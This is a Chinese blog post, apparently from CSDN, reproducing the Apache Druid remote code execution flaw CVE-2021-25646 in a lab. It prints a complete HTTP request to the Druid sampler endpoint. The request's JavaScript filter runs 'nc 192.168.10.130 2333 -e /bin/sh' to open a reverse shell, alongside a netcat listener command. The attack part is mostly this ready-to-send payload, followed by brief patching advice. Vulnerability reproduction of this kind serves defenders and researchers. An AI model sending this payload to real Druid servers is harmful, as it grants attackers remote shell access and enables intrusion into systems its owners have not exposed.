Apache Druid 代码执行(CVE-2021-25646)漏洞复现

Druid简介与漏洞成因

Apache Druid是一个高性能的实时分析型数据库,旨在对大型数据集进行快速查询分析。Druid最常被当做数据库来用以支持实时摄取、高性能查询和高稳定运行的应用场景,同时,Druid也通常被用来助力分析型应用的图形化界面,或者当做需要快速聚合的高并发后端API,Druid最适合应用于面向事件类型的数据。主要应用于:点击流分析、网络监测分析、服务指标存储、供应链分析、应用性能指标分析、数字广告分析、商务智能 / OLAP

2021年1月17号,阿里云安全@Litch1向Apache官方报告了Apache Druid远程代码执行漏洞,29号Apache Druid官方发布了漏洞补丁,分配CVE编号为CVE-2021-25646

该漏洞的成因是攻击者可以构造传入的json串来控制一些敏感的参数,其中参数function会被javascript rhino引擎执行,其中的js代码是支持调用java函数的,所以可以调用系统命令

# 实验环境

靶机:192.168.10.1 攻击机:192.168.10.130

# 漏洞复现

该漏洞为无回显的命令执行漏洞,但是我们可以通过服务器返回的状态码判断命令是否可以执行

执行成功返回的状态码为200,响应包如下:

image20210720124429228.png

执行失败返回的状态码为500,响应包如下:

image20210720124321825.png

经过测试发现存在 nc,可以用于反弹shell,所以我们在攻击机上使用命令nc -lvvp 2333开启监听,等待反弹shell

image20210720132333559.png

访问 192.168.10.1:8888(druid默认监听8888端口)确保服务正常访问

image20210720122755167.png

使用burp抓包,构造请求包如下,并发送

POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.10.1:8888
Content-Type: application/json
Content-Length: 1005

{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 192.168.10.130 2333 -e /bin/sh')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

请求成功,返回状态码200,并成功拿到反弹shell

image20210720133320844.png

# 修复建议

  1. 更新apache Druid到最新版本
  2. 限制非信任的设备对服务的访问
  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值